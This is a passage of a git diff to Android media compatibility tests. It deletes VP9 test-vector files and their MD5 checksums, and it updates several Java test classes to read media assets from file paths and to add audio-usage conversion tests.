-0bf06f2b16acc2c9691953d0ba134e7b  14.yuv
-f340480004fd45b579bfa04487c94136  15.yuv
-a6ab04e5c72ab3612842e891644ef2f2  16.yuv
-cf5da560e869a73ac6dc37ff1812b14e  17.yuv
-4b9e24121a05b7f95e4c2ed5dc25aac9  18.yuv
-5e7c43edbf51d19cae31e348920e5848  19.yuv
-96e421b17ce7fea2428ea1fe8f7b500a  20.yuv
-0e2b1ef0e3d1cf4a2af7dd7cbb160f04  21.yuv
-bdcc399223320df2fab20bf365e4f3df  22.yuv
-26cf7f3d9c3e36c6d2f8af6e1c9f9b15  23.yuv
-d2ef6d0dfd7eca3d77b60f9c82191bf3  24.yuv
-76c07306ce9a627f37a6a5c8d66820a2  25.yuv
-7ee2428a7fbc3c88418167a8e52d438d  26.yuv
-68b267345e01d2fc72576f984f757a3c  27.yuv
-541bfb03ae1db20d693a0a92550e8df6  28.yuv
-e87cf619aefdb81e26a8ec70d6a12c2c  29.yuv
-621f1ed3976088b247d79504bdf03ca3  30.yuv
-2c6023819babc72f8ad936ec0f0ca85e  31.yuv
-9f5eae1311cfdd2c02ee63a978b8d6d2  32.yuv
-902112ada88fbd3fe006b713cf08f5aa  33.yuv
-ab5b451f7174520c57b096268272759c  34.yuv
-b686cba2b4c454de4e8e16f088db8354  35.yuv
-a68e934aa397819bb80bf4bd29134103  36.yuv
-6982347a3aa730c2f8a15c94bfb42b3d  37.yuv
-57c3f83402184dd80beb9f78f0c5cfc8  38.yuv
-adf66470bfdb88a860a17b74d0f5e99b  39.yuv
-e98d09d8d34d3c8d1cb6619794b1ed5b  40.yuv
-f839dce9aabf7db8b007d83766e05fa7  41.yuv
-3bad23fa7f6052582e319b9774e26030  42.yuv
-4220ba420816a3bc7030e1582942e74d  43.yuv
-f404671eaf5310565d0831684ff0f3ba  44.yuv
-8ba48a53a0178bcd596b880c8a96a61f  45.yuv
-7a8fbb7356e494a6cefe52c2b07e6dce  46.yuv
-fb7974be2a11fcfc71cc450727bf71ad  47.yuv
-5c9be4d4acac0b375be851cd3774a918  48.yuv
-83c84c97c9c5efd6dd56668cdbf18428  49.yuv
-626c9ab1e52f7d9c711e142b46e82a42  50.yuv
-8012dbe193dfa5d787445eaeecd9091b  51.yuv
-bc36350c60b92f77473158a9249d5383  52.yuv
-4e81e00620020b4c55f273796f023145  53.yuv
-f6161f425f0476821f8caa46360d87af  54.yuv
-509f724002e54baac7dd37b514c345da  55.yuv
-4ab2368ffa3854f433fd568883db0e55  56.yuv
-9934a8d1ae0bdd65aab070efa91ac778  57.yuv
-2f2c1b110107c1141053513f2596a599  58.yuv
-9da6ca6ef375a095f0c86cb8cb41db74  59.yuv
-125c735dc1fb523c8088e0815cd4cde1  60.yuv
diff --git a/tests/tests/media/res/raw/vp90_2_19_skip_02.vp9 b/tests/tests/media/res/raw/vp90_2_19_skip_02.vp9
deleted file mode 100644
index 770e311..0000000
--- a/tests/tests/media/res/raw/vp90_2_19_skip_02.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_19_skip_02_vp9_md5 b/tests/tests/media/res/raw/vp90_2_19_skip_02_vp9_md5
deleted file mode 100644
index 80b3d65..0000000
--- a/tests/tests/media/res/raw/vp90_2_19_skip_02_vp9_md5
+++ /dev/null
@@ -1,12 +0,0 @@
-1ee94a4b059cd7380dabf71553aedf32  vp90-2-19-skip-02.webm-208x144-0001.i420
-d86167bfd6bca76c476c79361894a3f0  vp90-2-19-skip-02.webm-208x144-0002.i420
-421c9cd3b3474af8893fa44832b6fca7  vp90-2-19-skip-02.webm-208x144-0003.i420
-db0585dc48220105b8a3326222a66292  vp90-2-19-skip-02.webm-208x144-0004.i420
-15e5a53f39d7e350d356b0c4b2be4c82  vp90-2-19-skip-02.webm-208x144-0005.i420
-4d35f23245c90b5c0f013b4b2a085b2a  vp90-2-19-skip-02.webm-208x144-0006.i420
-1e46a9945accfec93e345f50ebb520a0  vp90-2-19-skip-02.webm-208x144-0007.i420
-ea53419be2de85e9505aaed3a03a10e0  vp90-2-19-skip-02.webm-208x144-0008.i420
-14c17560d0690e929a40b6f2e46a458a  vp90-2-19-skip-02.webm-208x144-0009.i420
-7c5eb58b81b57530391717a076114728  vp90-2-19-skip-02.webm-208x144-0010.i420
-57d4952e50ba519388ce7efca7ee505b  vp90-2-19-skip-02.webm-208x144-0011.i420
-7bb3d99c86e135354ad437e5d80bf089  vp90-2-19-skip-02.webm-208x144-0012.i420
diff --git a/tests/tests/media/res/raw/vp90_2_19_skip_vp9_md5 b/tests/tests/media/res/raw/vp90_2_19_skip_vp9_md5
deleted file mode 100644
index 472b59a..0000000
--- a/tests/tests/media/res/raw/vp90_2_19_skip_vp9_md5
+++ /dev/null
@@ -1,60 +0,0 @@
-6e350ec33af4ce08c18e884d7fd795aa  01.yuv
-3f77603d7a5727db4017202310da1724  02.yuv
-983aae5424ab39af07adcf78d43a23ba  03.yuv
-a0cdeaa0eb6eda3750d268434391a7ab  04.yuv
-64325c99444e566989c6eeaa8ffeee32  05.yuv
-8320f52b7fcd0565465941c50a01b801  06.yuv
-d6bb76bf65b70b86bda891fe807fcd26  07.yuv
-c44b46422d2be0b831d27fab61a0d374  08.yuv
-414ce4220e0aef53cb5966990ae00bb6  09.yuv
-2bf82867941dc68b0d60cede97f2d4d7  10.yuv
-593c676743ffaf1a5be85d74529dbb3f  11.yuv
-ccac5f0992545c35d227a021cb91b6f6  12.yuv
-bbb637aaed37f7cc6068802531152b77  13.yuv
-41e2d71a3ff3ed9d225348eb6be72853  14.yuv
-7ed3f76508059c281f75e2043d7d6677  15.yuv
-ed330eefed85685bed2bc1c5dc409d24  16.yuv
-61c4c435237e06623b6994f43b469833  17.yuv
-1e27f96fe683a654b228360f7a1beee1  18.yuv
-090e025ec148ec53f802cdb8ed0bfd77  19.yuv
-20d0caa6d4ab9db05869fd0532a2265f  20.yuv
-e11d108db8822b07a6fe8216b34fa259  21.yuv
-bdb3421bffee6eeafa00255ffcdcf1fe  22.yuv
-cb090c2f2d28679d1e2eb2c04150d751  23.yuv
-7f8eec67552bbac654f9a374d7a985ca  24.yuv
-5c039c621c9c20947f75b98b7e579ce8  25.yuv
-464be7de183b98138d8e9fb61ef613ec  26.yuv
-b887a102c6399d33307ac434d0ab3fd4  27.yuv
-e8fa163067c77e27b9089b4a48b444c0  28.yuv
-d92e13465475df261f9469171ac962cc  29.yuv
-8e6a8ba99387bc4cf7aee0aab6d132f4  30.yuv
-4625d7b6b23ddc840941a4f4d7739daa  31.yuv
-3b8533887142da49fdb24569dd34c2ac  32.yuv
-9ff94cefac26936cbf284e7482b2433d  33.yuv
-68b2fec46494c24501e48927fe9636e5  34.yuv
-7d76bfa0ebb09f27482288a0d61cd0e8  35.yuv
-27b630a10fc1790884e16bbb0fef37ee  36.yuv
-322de7f87166725fdd48373b28156593  37.yuv
-d73c7bd37eccd47df4a5b27cecbb8cea  38.yuv
-c3679a0317d1efc2b76e3dd97baa4070  39.yuv
-e3f9523bd41a280b922cdcf188911de2  40.yuv
-b57f28d944f4f39ab9c97a5ae8e3beda  41.yuv
-520a2b794f4384cf4c38f8d4c5b9c7bb  42.yuv
-bc215f65a73183da31b4bd896db178b4  43.yuv
-ab3c86d15728db474a45c544c2103745  44.yuv
-1287678d28e400a47a4f21b8854339d7  45.yuv
-be3f1eb3f48706e4e37aff83f0434fab  46.yuv
-dbc71f50dd620e058da88c414041ca57  47.yuv
-3d68bf9ae1e6065bf70eee87fbb9a2ce  48.yuv
-c901fac66677a4be1b624d6995af1ea3  49.yuv
-0756c5dd31c691df91a535910d8756e0  50.yuv
-b9c30e56f000a71148ababdf7c7bbae3  51.yuv
-2dc2917b1c0e498dd8e83abcdc48e3ca  52.yuv
-057ce1fe6eb8800ec8ec47720e70ed74  53.yuv
-1c25a6c9e182fa7fbef473ad9be476ea  54.yuv
-3ae770d42403b5069d0fa97e11cec3b0  55.yuv
-e5c19d46df1c711a650229867073246c  56.yuv
-cfc5f6cbb0a319d8bfb3feffddbb8f48  57.yuv
-86e42a5e03bc537505589f7fa39bff2b  58.yuv
-cdf32bda09d594763068d6fa0ff67b98  59.yuv
-0d6be7f95a7e3941950f14e20be11020  60.yuv
diff --git a/tests/tests/media/res/raw/vp90_2_20_big_superframe_01.vp9 b/tests/tests/media/res/raw/vp90_2_20_big_superframe_01.vp9
deleted file mode 100644
index 6a45085..0000000
--- a/tests/tests/media/res/raw/vp90_2_20_big_superframe_01.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_20_big_superframe_01_vp9_md5 b/tests/tests/media/res/raw/vp90_2_20_big_superframe_01_vp9_md5
deleted file mode 100644
index 4fe4dcc..0000000
--- a/tests/tests/media/res/raw/vp90_2_20_big_superframe_01_vp9_md5
+++ /dev/null
@@ -1,13 +0,0 @@
-b5d461894f957709576d15f6dce3d69e  vp90-2-20-big_superframe-01.webm-352x288-0001.i420
-b14448e30621b5d2d0a18c2e12ef0d95  vp90-2-20-big_superframe-01.webm-352x288-0002.i420
-4584cf6ffe6ca91fa3926cb88b6dab2d  vp90-2-20-big_superframe-01.webm-352x288-0003.i420
-ff83dd3c0dfdd8740523f560a9d7abfe  vp90-2-20-big_superframe-01.webm-352x288-0004.i420
-a2a1dc9b91b0e4fd6ecc8fa53a156ed9  vp90-2-20-big_superframe-01.webm-352x288-0005.i420
-13f953ae1cfa25c5996d77fc88070452  vp90-2-20-big_superframe-01.webm-352x288-0006.i420
-81dd4bdf32f7998fdc221a4612e022ce  vp90-2-20-big_superframe-01.webm-352x288-0007.i420
-518bbee70ad6488ea3d69e0e34a133a4  vp90-2-20-big_superframe-01.webm-352x288-0008.i420
-acae8f0ab72c6daa3a280fa41fbbb22e  vp90-2-20-big_superframe-01.webm-352x288-0009.i420
-fbfb93207c09242ee49637e740f3f870  vp90-2-20-big_superframe-01.webm-352x288-0010.i420
-20b072932f592e67d92cb67b224620b1  vp90-2-20-big_superframe-01.webm-352x288-0011.i420
-ddab6752606406c5b25d4e3b3208e381  vp90-2-20-big_superframe-01.webm-352x288-0012.i420
-6525d6826964e8b54fa982a300088ce3  vp90-2-20-big_superframe-01.webm-352x288-0013.i420
diff --git a/tests/tests/media/res/raw/vp90_2_20_big_superframe_02.vp9 b/tests/tests/media/res/raw/vp90_2_20_big_superframe_02.vp9
deleted file mode 100644
index 73137af..0000000
--- a/tests/tests/media/res/raw/vp90_2_20_big_superframe_02.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_20_big_superframe_02_vp9_md5 b/tests/tests/media/res/raw/vp90_2_20_big_superframe_02_vp9_md5
deleted file mode 100644
index 8ca8576..0000000
--- a/tests/tests/media/res/raw/vp90_2_20_big_superframe_02_vp9_md5
+++ /dev/null
@@ -1,18 +0,0 @@
-b5d461894f957709576d15f6dce3d69e  vp90-2-20-big_superframe-02.webm-352x288-0001.i420
-54e45dfe575d9843c198270f62154c09  vp90-2-20-big_superframe-02.webm-352x288-0002.i420
-87749847c291a46c0ae0ca5d5002cb5f  vp90-2-20-big_superframe-02.webm-352x288-0003.i420
-04d7f341b081b35fd14ddfd777607fb1  vp90-2-20-big_superframe-02.webm-352x288-0004.i420
-81c73e1129b94936d53d33f8c66588e9  vp90-2-20-big_superframe-02.webm-352x288-0005.i420
-678b99102426df6a69184acc142c0c6a  vp90-2-20-big_superframe-02.webm-352x288-0006.i420
-a91f8d509a3e853e71b78b7ebe162428  vp90-2-20-big_superframe-02.webm-352x288-0007.i420
-9981ac3b4b78627c4474222823a9b288  vp90-2-20-big_superframe-02.webm-352x288-0008.i420
-400adf7ab42c47954db9086b5fcb2ef8  vp90-2-20-big_superframe-02.webm-352x288-0009.i420
-fc917ebef7115a04f0bf4e06e1e1a2a9  vp90-2-20-big_superframe-02.webm-352x288-0010.i420
-72271e7946c9dd99a947df787caaadfe  vp90-2-20-big_superframe-02.webm-352x288-0011.i420
-acb81daaaa35d651a87a9f8e87f813b3  vp90-2-20-big_superframe-02.webm-352x288-0012.i420
-e6ffc22ab1a918e3f1af384f0dd22ff9  vp90-2-20-big_superframe-02.webm-352x288-0013.i420
-3ecbc78c737312948d8c172d1c2d2383  vp90-2-20-big_superframe-02.webm-352x288-0014.i420
-320edb7fddfe8c98e616702d11f8f456  vp90-2-20-big_superframe-02.webm-352x288-0015.i420
-cf8363cebf34bdefd2c8e2178de5ef23  vp90-2-20-big_superframe-02.webm-352x288-0016.i420
-d15c8f1bc21ad09ad881a59b5f2b8167  vp90-2-20-big_superframe-02.webm-352x288-0017.i420
-c5c9f8b1826fac50655ed1454ae78279  vp90-2-20-big_superframe-02.webm-352x288-0018.i420
diff --git a/tests/tests/media/res/raw/vp9_test_vectors b/tests/tests/media/res/raw/vp9_test_vectors
deleted file mode 100644
index a9dc4f3..0000000
--- a/tests/tests/media/res/raw/vp9_test_vectors
+++ /dev/null
@@ -1,235 +0,0 @@
-vp90_2_00_quantizer_00
-vp90_2_00_quantizer_01
-vp90_2_00_quantizer_02
-vp90_2_00_quantizer_03
-vp90_2_00_quantizer_04
-vp90_2_00_quantizer_05
-vp90_2_00_quantizer_06
-vp90_2_00_quantizer_07
-vp90_2_00_quantizer_08
-vp90_2_00_quantizer_09
-vp90_2_00_quantizer_10
-vp90_2_00_quantizer_11
-vp90_2_00_quantizer_12
-vp90_2_00_quantizer_13
-vp90_2_00_quantizer_14
-vp90_2_00_quantizer_15
-vp90_2_00_quantizer_16
-vp90_2_00_quantizer_17
-vp90_2_00_quantizer_18
-vp90_2_00_quantizer_19
-vp90_2_00_quantizer_20
-vp90_2_00_quantizer_21
-vp90_2_00_quantizer_22
-vp90_2_00_quantizer_23
-vp90_2_00_quantizer_24
-vp90_2_00_quantizer_25
-vp90_2_00_quantizer_26
-vp90_2_00_quantizer_27
-vp90_2_00_quantizer_28
-vp90_2_00_quantizer_29
-vp90_2_00_quantizer_30
-vp90_2_00_quantizer_31
-vp90_2_00_quantizer_32
-vp90_2_00_quantizer_33
-vp90_2_00_quantizer_34
-vp90_2_00_quantizer_35
-vp90_2_00_quantizer_36
-vp90_2_00_quantizer_37
-vp90_2_00_quantizer_38
-vp90_2_00_quantizer_39
-vp90_2_00_quantizer_40
-vp90_2_00_quantizer_41
-vp90_2_00_quantizer_42
-vp90_2_00_quantizer_43
-vp90_2_00_quantizer_44
-vp90_2_00_quantizer_45
-vp90_2_00_quantizer_46
-vp90_2_00_quantizer_47
-vp90_2_00_quantizer_48
-vp90_2_00_quantizer_49
-vp90_2_00_quantizer_50
-vp90_2_00_quantizer_51
-vp90_2_00_quantizer_52
-vp90_2_00_quantizer_53
-vp90_2_00_quantizer_54
-vp90_2_00_quantizer_55
-vp90_2_00_quantizer_56
-vp90_2_00_quantizer_57
-vp90_2_00_quantizer_58
-vp90_2_00_quantizer_59
-vp90_2_00_quantizer_60
-vp90_2_00_quantizer_61
-vp90_2_00_quantizer_62
-vp90_2_00_quantizer_63
-vp90_2_01_sharpness_1
-vp90_2_01_sharpness_2
-vp90_2_01_sharpness_3
-vp90_2_01_sharpness_4
-vp90_2_01_sharpness_5
-vp90_2_01_sharpness_6
-vp90_2_01_sharpness_7
-vp90_2_02_size_08x08
-vp90_2_02_size_08x10
-vp90_2_02_size_08x16
-vp90_2_02_size_08x18
-vp90_2_02_size_08x32
-vp90_2_02_size_08x34
-vp90_2_02_size_08x64
-vp90_2_02_size_08x66
-vp90_2_02_size_10x08
-vp90_2_02_size_10x10
-vp90_2_02_size_10x16
-vp90_2_02_size_10x18
-vp90_2_02_size_10x32
-vp90_2_02_size_10x34
-vp90_2_02_size_10x64
-vp90_2_02_size_10x66
-vp90_2_02_size_16x08
-vp90_2_02_size_16x10
-vp90_2_02_size_16x16
-vp90_2_02_size_16x18
-vp90_2_02_size_16x32
-vp90_2_02_size_16x34
-vp90_2_02_size_16x64
-vp90_2_02_size_16x66
-vp90_2_02_size_18x08
-vp90_2_02_size_18x10
-vp90_2_02_size_18x16
-vp90_2_02_size_18x18
-vp90_2_02_size_18x32
-vp90_2_02_size_18x34
-vp90_2_02_size_18x64
-vp90_2_02_size_18x66
-vp90_2_02_size_32x08
-vp90_2_02_size_32x10
-vp90_2_02_size_32x16
-vp90_2_02_size_32x18
-vp90_2_02_size_32x32
-vp90_2_02_size_32x34
-vp90_2_02_size_32x64
-vp90_2_02_size_32x66
-vp90_2_02_size_34x08
-vp90_2_02_size_34x10
-vp90_2_02_size_34x16
-vp90_2_02_size_34x18
-vp90_2_02_size_34x32
-vp90_2_02_size_34x34
-vp90_2_02_size_34x64
-vp90_2_02_size_34x66
-vp90_2_02_size_64x08
-vp90_2_02_size_64x10
-vp90_2_02_size_64x16
-vp90_2_02_size_64x18
-vp90_2_02_size_64x32
-vp90_2_02_size_64x34
-vp90_2_02_size_64x64
-vp90_2_02_size_64x66
-vp90_2_02_size_66x08
-vp90_2_02_size_66x10
-vp90_2_02_size_66x16
-vp90_2_02_size_66x18
-vp90_2_02_size_66x32
-vp90_2_02_size_66x34
-vp90_2_02_size_66x64
-vp90_2_02_size_66x66
-vp90_2_02_size_130x132
-vp90_2_02_size_132x130
-vp90_2_02_size_132x132
-vp90_2_02_size_178x180
-vp90_2_02_size_180x178
-vp90_2_02_size_180x180
-vp90_2_03_size_196x196
-vp90_2_03_size_196x198
-vp90_2_03_size_196x200
-vp90_2_03_size_196x202
-vp90_2_03_size_196x208
-vp90_2_03_size_196x210
-vp90_2_03_size_196x224
-vp90_2_03_size_196x226
-vp90_2_03_size_198x196
-vp90_2_03_size_198x198
-vp90_2_03_size_198x200
-vp90_2_03_size_198x202
-vp90_2_03_size_198x208
-vp90_2_03_size_198x210
-vp90_2_03_size_198x224
-vp90_2_03_size_198x226
-vp90_2_03_size_200x196
-vp90_2_03_size_200x198
-vp90_2_03_size_200x200
-vp90_2_03_size_200x202
-vp90_2_03_size_200x208
-vp90_2_03_size_200x210
-vp90_2_03_size_200x224
-vp90_2_03_size_200x226
-vp90_2_03_size_202x196
-vp90_2_03_size_202x198
-vp90_2_03_size_202x200
-vp90_2_03_size_202x202
-vp90_2_03_size_202x208
-vp90_2_03_size_202x210
-vp90_2_03_size_202x224
-vp90_2_03_size_202x226
-vp90_2_03_size_208x196
-vp90_2_03_size_208x198
-vp90_2_03_size_208x200
-vp90_2_03_size_208x202
-vp90_2_03_size_208x208
-vp90_2_03_size_208x210
-vp90_2_03_size_208x224
-vp90_2_03_size_208x226
-vp90_2_03_size_210x196
-vp90_2_03_size_210x198
-vp90_2_03_size_210x200
-vp90_2_03_size_210x202
-vp90_2_03_size_210x208
-vp90_2_03_size_210x210
-vp90_2_03_size_210x224
-vp90_2_03_size_210x226
-vp90_2_03_size_224x196
-vp90_2_03_size_224x198
-vp90_2_03_size_224x200
-vp90_2_03_size_224x202
-vp90_2_03_size_224x208
-vp90_2_03_size_224x210
-vp90_2_03_size_224x224
-vp90_2_03_size_224x226
-vp90_2_03_size_226x196
-vp90_2_03_size_226x198
-vp90_2_03_size_226x200
-vp90_2_03_size_226x202
-vp90_2_03_size_226x208
-vp90_2_03_size_226x210
-vp90_2_03_size_226x224
-vp90_2_03_size_226x226
-vp90_2_02_size_lf_1920x1080
-vp90_2_03_deltaq
-vp90_2_06_bilinear
-vp90_2_07_frame_parallel_1
-vp90_2_07_frame_parallel
-vp90_2_08_tile_1x2_frame_parallel
-vp90_2_08_tile_1x2
-vp90_2_08_tile_1x4_frame_parallel
-vp90_2_08_tile_1x4
-vp90_2_08_tile_1x8_frame_parallel
-vp90_2_08_tile_1x8
-vp90_2_08_tile_4x1
-vp90_2_08_tile_4x4
-vp90_2_09_aq2
-vp90_2_09_lf_deltas
-vp90_2_09_subpixel_00
-vp90_2_10_show_existing_frame2
-vp90_2_10_show_existing_frame
-vp90_2_12_droppable_1
-vp90_2_12_droppable_2
-vp90_2_12_droppable_3
-vp90_2_15_segkey_adpq
-vp90_2_15_segkey
-vp90_2_16_intra_only
-vp90_2_17_show_existing_frame
-vp90_2_19_skip_01
-vp90_2_19_skip_02
-vp90_2_19_skip
-vp90_2_20_big_superframe_01
-vp90_2_20_big_superframe_02
diff --git a/tests/tests/media/src/android/media/cts/AdaptivePlaybackTest.java b/tests/tests/media/src/android/media/cts/AdaptivePlaybackTest.java
index c3a3e68..ead4412 100644
--- a/tests/tests/media/src/android/media/cts/AdaptivePlaybackTest.java
+++ b/tests/tests/media/src/android/media/cts/AdaptivePlaybackTest.java
@@ -41,6 +41,7 @@
 import java.util.List;
 import java.util.Locale;
 import java.util.Vector;
+import java.util.concurrent.CopyOnWriteArrayList;
 import java.util.zip.CRC32;
 
 @MediaHeavyPresubmitTest
@@ -874,7 +875,9 @@
         boolean mDoChecksum;
         boolean mQueuedEos;
         ArrayList<Long> mTimeStamps;
-        ArrayList<String> mWarnings;
+        // We might add items when iterating mWarnings.
+        // Use CopyOnWrieArrayList to avoid ConcurrentModificationException.
+        CopyOnWriteArrayList<String> mWarnings;
         Vector<Long> mRenderedTimeStamps; // using Vector as it is implicitly synchronized
         long mLastRenderNanoTime;
         int mFramesNotifiedRendered;
@@ -891,7 +894,7 @@
             mDoChecksum = false;
             mQueuedEos = false;
             mTimeStamps = new ArrayList<Long>();
-            mWarnings = new ArrayList<String>();
+            mWarnings = new CopyOnWriteArrayList<String>();
             mRenderedTimeStamps = new Vector<Long>();
             mLastRenderNanoTime = System.nanoTime();
             mFramesNotifiedRendered = 0;
diff --git a/tests/tests/media/src/android/media/cts/AudioAttributesTest.java b/tests/tests/media/src/android/media/cts/AudioAttributesTest.java
index e44dc3a..f4e86eb 100644
--- a/tests/tests/media/src/android/media/cts/AudioAttributesTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioAttributesTest.java
@@ -19,6 +19,7 @@
 import static org.testng.Assert.assertThrows;
 import static org.testng.Assert.expectThrows;
 
+import android.audio.policy.configuration.V7_0.AudioUsage;
 import android.media.AudioAttributes;
 import android.media.AudioManager;
 import android.os.Parcel;
@@ -200,6 +201,27 @@
         assertEquals(attr1, attr2);
     }
 
+    // -----------------------------------------------------------------
+    // audio_policy_configuration.xsd converter tests
+    // ----------------------------------
+    public void testXsdStringToUsage_returnsCorrectUsage() {
+        int usage = AudioAttributes.xsdStringToUsage(AudioUsage.AUDIO_USAGE_MEDIA.toString());
+
+        assertEquals(AudioAttributes.USAGE_MEDIA, usage);
+    }
+
+    public void testXsdStringToUsage_withUnsupportedString_returnsUnknownUsage() {
+        int usage = AudioAttributes.xsdStringToUsage("not a usage");
+
+        assertEquals(AudioAttributes.USAGE_UNKNOWN, usage);
+    }
+
+    public void testUsageToXsdString_returnsCorrectString() {
+        String xsdUsage = AudioAttributes.usageToXsdString(AudioAttributes.USAGE_MEDIA);
+
+        assertEquals(AudioUsage.AUDIO_USAGE_MEDIA.toString(), xsdUsage);
+    }
+
     // -------------------------------------------------------------------
     // Reflection helpers for accessing system usage methods and fields
     // -------------------------------------------------------------------
diff --git a/tests/tests/media/src/android/media/cts/ImageReaderDecoderTest.java b/tests/tests/media/src/android/media/cts/ImageReaderDecoderTest.java
index e43f7b6..ff61af0 100644
--- a/tests/tests/media/src/android/media/cts/ImageReaderDecoderTest.java
+++ b/tests/tests/media/src/android/media/cts/ImageReaderDecoderTest.java
@@ -20,7 +20,6 @@
 
 import android.content.Context;
 import android.content.res.AssetFileDescriptor;
-import android.content.res.Resources;
 import android.content.res.Resources.NotFoundException;
 import android.graphics.ImageFormat;
 import android.graphics.Rect;
@@ -35,9 +34,10 @@
 import android.media.MediaExtractor;
 import android.media.MediaFormat;
 import android.media.cts.CodecUtils;
-import android.media.cts.R;
 import android.os.Handler;
 import android.os.HandlerThread;
+import android.os.ParcelFileDescriptor;
+import android.platform.test.annotations.AppModeFull;
 import android.platform.test.annotations.Presubmit;
 import android.platform.test.annotations.RequiresDevice;
 import android.test.AndroidTestCase;
@@ -49,6 +49,8 @@
 import com.android.compatibility.common.util.MediaUtils;
 
 import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileNotFoundException;
 import java.io.FileOutputStream;
 import java.io.IOException;
 import java.io.InputStream;
@@ -71,6 +73,7 @@
 @Presubmit
 @SmallTest
 @RequiresDevice
+@AppModeFull(reason = "Instant apps cannot access the SD card")
 public class ImageReaderDecoderTest extends AndroidTestCase {
     private static final String TAG = "ImageReaderDecoderTest";
     private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
@@ -87,7 +90,6 @@
     private final static int MODE_IMAGEREADER = 0;
     private final static int MODE_IMAGE       = 1;
 
-    private Resources mResources;
     private MediaCodec.BufferInfo mBufferInfo = new MediaCodec.BufferInfo();
     private ImageReader mReader;
     private Surface mReaderSurface;
@@ -98,7 +100,6 @@
     @Override
     public void setContext(Context context) {
         super.setContext(context);
-        mResources = mContext.getResources();
     }
 
     @Override
@@ -117,7 +118,7 @@
     }
 
     static class MediaAsset {
-        public MediaAsset(int resource, int width, int height) {
+        public MediaAsset(String resource, int width, int height) {
             mResource = resource;
             mWidth = width;
             mHeight = height;
@@ -131,11 +132,11 @@
             return mHeight;
         }
 
-        public int getResource() {
+        public String getResource() {
             return mResource;
         }
 
-        private final int mResource;
+        private final String mResource;
         private final int mWidth;
         private final int mHeight;
     }
@@ -158,51 +159,60 @@
         private final MediaAsset[] mAssets;
     }
 
+    static final String mInpPrefix = WorkDir.getMediaDirString();
+    protected AssetFileDescriptor getAssetFileDescriptorFor(final String res)
+            throws FileNotFoundException {
+        File inpFile = new File(mInpPrefix + res);
+        ParcelFileDescriptor parcelFD =
+                ParcelFileDescriptor.open(inpFile, ParcelFileDescriptor.MODE_READ_ONLY);
+        return new AssetFileDescriptor(parcelFD, 0, parcelFD.getStatSize());
+    }
+
     private static MediaAssets H263_ASSETS = new MediaAssets(
             MediaFormat.MIMETYPE_VIDEO_H263,
-            new MediaAsset(R.raw.swirl_176x144_h263, 176, 144),
-            new MediaAsset(R.raw.swirl_352x288_h263, 352, 288),
-            new MediaAsset(R.raw.swirl_128x96_h263, 128, 96));
+            new MediaAsset("swirl_176x144_h263.3gp", 176, 144),
+            new MediaAsset("swirl_352x288_h263.3gp", 352, 288),
+            new MediaAsset("swirl_128x96_h263.3gp", 128, 96));
 
     private static MediaAssets MPEG4_ASSETS = new MediaAssets(
             MediaFormat.MIMETYPE_VIDEO_MPEG4,
-            new MediaAsset(R.raw.swirl_128x128_mpeg4, 128, 128),
-            new MediaAsset(R.raw.swirl_144x136_mpeg4, 144, 136),
-            new MediaAsset(R.raw.swirl_136x144_mpeg4, 136, 144),
-            new MediaAsset(R.raw.swirl_132x130_mpeg4, 132, 130),
-            new MediaAsset(R.raw.swirl_130x132_mpeg4, 130, 132));
+            new MediaAsset("swirl_128x128_mpeg4.mp4", 128, 128),
+            new MediaAsset("swirl_144x136_mpeg4.mp4", 144, 136),
+            new MediaAsset("swirl_136x144_mpeg4.mp4", 136, 144),
+            new MediaAsset("swirl_132x130_mpeg4.mp4", 132, 130),
+            new MediaAsset("swirl_130x132_mpeg4.mp4", 130, 132));
 
     private static MediaAssets H264_ASSETS = new MediaAssets(
             MediaFormat.MIMETYPE_VIDEO_AVC,
-            new MediaAsset(R.raw.swirl_128x128_h264, 128, 128),
-            new MediaAsset(R.raw.swirl_144x136_h264, 144, 136),
-            new MediaAsset(R.raw.swirl_136x144_h264, 136, 144),
-            new MediaAsset(R.raw.swirl_132x130_h264, 132, 130),
-            new MediaAsset(R.raw.swirl_130x132_h264, 130, 132));
+            new MediaAsset("swirl_128x128_h264.mp4", 128, 128),
+            new MediaAsset("swirl_144x136_h264.mp4", 144, 136),
+            new MediaAsset("swirl_136x144_h264.mp4", 136, 144),
+            new MediaAsset("swirl_132x130_h264.mp4", 132, 130),
+            new MediaAsset("swirl_130x132_h264.mp4", 130, 132));
 
     private static MediaAssets H265_ASSETS = new MediaAssets(
             MediaFormat.MIMETYPE_VIDEO_HEVC,
-            new MediaAsset(R.raw.swirl_128x128_h265, 128, 128),
-            new MediaAsset(R.raw.swirl_144x136_h265, 144, 136),
-            new MediaAsset(R.raw.swirl_136x144_h265, 136, 144),
-            new MediaAsset(R.raw.swirl_132x130_h265, 132, 130),
-            new MediaAsset(R.raw.swirl_130x132_h265, 130, 132));
+            new MediaAsset("swirl_128x128_h265.mp4", 128, 128),
+            new MediaAsset("swirl_144x136_h265.mp4", 144, 136),
+            new MediaAsset("swirl_136x144_h265.mp4", 136, 144),
+            new MediaAsset("swirl_132x130_h265.mp4", 132, 130),
+            new MediaAsset("swirl_130x132_h265.mp4", 130, 132));
 
     private static MediaAssets VP8_ASSETS = new MediaAssets(
             MediaFormat.MIMETYPE_VIDEO_VP8,
-            new MediaAsset(R.raw.swirl_128x128_vp8, 128, 128),
-            new MediaAsset(R.raw.swirl_144x136_vp8, 144, 136),
-            new MediaAsset(R.raw.swirl_136x144_vp8, 136, 144),
-            new MediaAsset(R.raw.swirl_132x130_vp8, 132, 130),
-            new MediaAsset(R.raw.swirl_130x132_vp8, 130, 132));
+            new MediaAsset("swirl_128x128_vp8.webm", 128, 128),
+            new MediaAsset("swirl_144x136_vp8.webm", 144, 136),
+            new MediaAsset("swirl_136x144_vp8.webm", 136, 144),
+            new MediaAsset("swirl_132x130_vp8.webm", 132, 130),
+            new MediaAsset("swirl_130x132_vp8.webm", 130, 132));
 
     private static MediaAssets VP9_ASSETS = new MediaAssets(
             MediaFormat.MIMETYPE_VIDEO_VP9,
-            new MediaAsset(R.raw.swirl_128x128_vp9, 128, 128),
-            new MediaAsset(R.raw.swirl_144x136_vp9, 144, 136),
-            new MediaAsset(R.raw.swirl_136x144_vp9, 136, 144),
-            new MediaAsset(R.raw.swirl_132x130_vp9, 132, 130),
